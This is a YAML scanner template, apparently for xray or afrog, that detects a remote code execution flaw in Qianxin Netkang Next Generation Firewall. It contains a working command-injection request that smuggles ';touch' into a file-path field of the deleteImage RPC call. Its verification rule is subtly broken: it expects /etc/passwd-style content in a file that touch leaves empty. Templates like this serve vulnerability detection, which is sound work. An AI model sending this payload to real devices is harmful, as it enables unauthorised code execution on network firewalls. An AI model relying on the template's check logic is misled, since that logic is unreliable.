qianxin-netkang-next-generation-firewall-rce: Qianxin Netkang Next Generation Firewall - Remote Code Execution

id: qianxin-netkang-next-generation-firewall-rce

info:
  name: Qianxin Netkang Next Generation Firewall - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |-
    Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  tags: qi-anxin,netkang,firewall,rce
  created: 2023/10/18

set:
  randstr: randomLowercase(20)
rules:
  r0:
    request:
      method: POST
      path: /directdata/direct/router
      body: |
        {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /{{randstr}}.txt
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1()